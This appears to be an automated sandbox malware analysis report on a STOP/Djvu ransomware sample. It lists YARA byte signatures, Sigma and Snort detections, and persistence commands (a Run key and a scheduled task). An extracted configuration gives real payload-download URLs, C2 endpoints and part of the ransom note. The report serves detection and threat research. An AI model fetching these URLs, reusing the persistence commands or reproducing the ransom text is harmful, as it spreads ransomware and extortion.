23.2.Z4CYGTBlj7.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
23.2.Z4CYGTBlj7.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
23.2.Z4CYGTBlj7.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.Z4CYGTBlj7.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.Z4CYGTBlj7.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.Z4CYGTBlj7.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.Z4CYGTBlj7.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.Z4CYGTBlj7.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.Z4CYGTBlj7.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.Z4CYGTBlj7.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.Z4CYGTBlj7.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.Z4CYGTBlj7.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.Z4CYGTBlj7.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.Z4CYGTBlj7.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.Z4CYGTBlj7.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 115 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Z4CYGTBlj7.exe, ProcessId: 6392, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe" , ParentImage: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe, ParentProcessId: 4092, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 5148, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.163.142.13 - Destination IP: 192.168.2.5

Timestamp:	04/24/24-12:07:05.352564
SID:	2036335
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 189.163.142.13

Timestamp:	04/24/24-12:07:07.604088
SID:	2036333
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 211.181.24.133

Timestamp:	04/24/24-12:07:04.822645
SID:	2036333
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.5 - Destination IP: 211.181.24.133

Timestamp:	04/24/24-12:07:04.822645
SID:	2020826
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.5 - Destination IP: 189.163.142.13

Timestamp:	04/24/24-12:07:07.604088
SID:	2020826
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.5 - Destination IP: 189.163.142.13

Timestamp:	04/24/24-12:07:04.769679
SID:	2833438
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 189.163.142.13 - Destination IP: 192.168.2.5

Timestamp:	04/24/24-12:07:05.352654
SID:	2036335
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Z4CYGTBlj7.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://sdfjhuz.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exeruna02b:	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Avira: detection malicious, Label: HEUR/AGEN.1313019

Found malware configuration

Source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}
Source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey 